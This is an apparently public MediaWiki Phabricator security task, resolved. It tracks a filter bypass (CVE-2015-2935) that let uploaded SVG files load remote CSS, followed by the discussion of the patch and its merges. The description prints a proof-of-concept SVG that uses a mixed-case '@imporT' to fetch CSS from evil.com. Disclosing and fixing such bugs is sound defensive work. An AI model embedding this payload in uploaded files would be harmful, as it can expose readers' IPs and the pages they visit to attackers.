Page MenuHomePhabricator

SVG @import style validation bypass
Closed, ResolvedPublic

Description

From the iSec assessment, iSEC-WMF1214-3.

They weren't able to get xss as a result, and we don't embed svg's in articles (yet), so it shouldn't be too exploitable, but since the fix is easy, we should get this patched soon.

DESCRIPTION: When uploading an SVG file, it is possible to bypass the validation filters and upload
an SVG file that references a remote CSS. For example, the following style declaration within an SVG
file will cause any browser that renders the file to fetch http://evil.com/attack.css :

<svg xmlns="http://www.w3.org/2000/svg">
<style>@imporT'http://evil.com/attack.css';</style>
</svg>

This vulnerability can be exploited to break the anonymity of MediaWiki's readers. This can be used
by malicious individual or governments, which will be able to identify the reader's location from their
IP and the visited page from the referrer header.

SHORT TERM SOLUTION: Modify the regular expressions for validating SVG file uploads to block the
import keyword in a case-insensitive manner.

LONG TERM SOLUTION: Examine all other validation expressions to ensure that case-sensitivity is han-
dled in a context-appropriate manner.


Patch:

  • 1.24:
  • 1.23:
  • 1.19:

Affected Versions: This resulted from an incomplete fix for T71008, which affected all versions of mediawiki that allowed SVG uploads
Type: xss
CVE: CVE-2015-2935

Event Timeline

csteipp raised the priority of this task from to High.
csteipp updated the task description. (Show Details)
csteipp added a project: acl*security.
csteipp changed Security from None to Software security bug.
csteipp added a subscriber: csteipp.
Restricted Application changed the visibility from "Public (No Login Required)" to "Custom Policy". · View Herald TranscriptDec 26 2014, 9:38 PM
Restricted Application changed the edit policy from "All Users" to "Custom Policy". · View Herald Transcript

Figured since it's end of day and it's a quick patch I threw it together. I'm not completely familiar with the upload system, so somebody else who is should check this over to make sure.

Restricted Application changed the visibility from "Custom Policy" to "Custom Policy". · View Herald TranscriptDec 26 2014, 11:42 PM
Restricted Application changed the edit policy from "Custom Policy" to "Custom Policy". · View Herald Transcript

Unit test doesn't fail on the current code (the test SVG is rejected anyway for other reasons).

Other than that, looks good.

Restricted Application changed the visibility from "Custom Policy" to "Custom Policy". · View Herald TranscriptDec 29 2014, 7:13 PM
Restricted Application changed the edit policy from "Custom Policy" to "Custom Policy". · View Herald Transcript

Do you know what other reasons there are? Not that familiar with SVG. I figured the previous test case should have been enough.

Restricted Application changed the visibility from "Custom Policy" to "Custom Policy". · View Herald TranscriptDec 29 2014, 7:18 PM
Restricted Application changed the edit policy from "Custom Policy" to "Custom Policy". · View Herald Transcript

The 'url(...)' bit is also disallowed by the check at UploadBase.php line 1595.

Basically we want to see a failed test (meaning the SVG file would have been accepted) if we apply only the unit test part of your patch.

Restricted Application changed the visibility from "Custom Policy" to "Custom Policy". · View Herald TranscriptDec 29 2014, 7:26 PM
Restricted Application changed the edit policy from "Custom Policy" to "Custom Policy". · View Herald Transcript

OK, removed the url() part, and tested to make sure the test fails on master.

Restricted Application changed the visibility from "Custom Policy" to "Custom Policy". · View Herald TranscriptDec 30 2014, 8:57 PM
Restricted Application changed the edit policy from "Custom Policy" to "Custom Policy". · View Herald Transcript

Looks sane to me.

Restricted Application changed the visibility from "Custom Policy" to "Custom Policy". · View Herald TranscriptDec 30 2014, 9:00 PM
Restricted Application changed the edit policy from "Custom Policy" to "Custom Policy". · View Herald Transcript
Restricted Application changed the visibility from "Custom Policy" to "Custom Policy". · View Herald TranscriptJan 5 2015, 8:50 PM
Restricted Application changed the edit policy from "Custom Policy" to "Custom Policy". · View Herald Transcript

Sorry for the delay on this. Patch looks good, I'll deploy it tomorrow.

Restricted Application changed the visibility from "Custom Policy" to "Custom Policy". · View Herald TranscriptJan 13 2015, 12:52 AM
Restricted Application changed the edit policy from "Custom Policy" to "Custom Policy". · View Herald Transcript
Restricted Application changed the visibility from "Custom Policy" to "Custom Policy". · View Herald TranscriptJan 13 2015, 1:07 AM
Restricted Application changed the edit policy from "Custom Policy" to "Custom Policy". · View Herald Transcript

This is deployed, we'll release with 1.24.2.

Removed unit tests. In 1.19, XmlTypeCheck only works on files, not strings, so unit testing is more difficult.

csteipp changed the visibility from "Custom Policy" to "Public (No Login Required)".Mar 31 2015, 9:15 PM
csteipp changed the edit policy from "Custom Policy" to "All Users".
csteipp changed Security from Software security bug to None.

Change 201011 had a related patch set uploaded (by CSteipp):
SECURITY: Make SVG @import checking case insensitive

https://gerrit.wikimedia.org/r/201011

Change 201023 had a related patch set uploaded (by CSteipp):
SECURITY: Make SVG @import checking case insensitive

https://gerrit.wikimedia.org/r/201023

Change 201033 had a related patch set uploaded (by CSteipp):
SECURITY: Make SVG @import checking case insensitive

https://gerrit.wikimedia.org/r/201033

Change 201011 merged by jenkins-bot:
SECURITY: Make SVG @import checking case insensitive

https://gerrit.wikimedia.org/r/201011

Change 201023 merged by jenkins-bot:
SECURITY: Make SVG @import checking case insensitive

https://gerrit.wikimedia.org/r/201023

Change 201033 merged by jenkins-bot:
SECURITY: Make SVG @import checking case insensitive

https://gerrit.wikimedia.org/r/201033

Change 201217 had a related patch set uploaded (by CSteipp):
SECURITY: Make SVG @import checking case insensitive

https://gerrit.wikimedia.org/r/201217

Change 201217 merged by jenkins-bot:
SECURITY: Make SVG @import checking case insensitive

https://gerrit.wikimedia.org/r/201217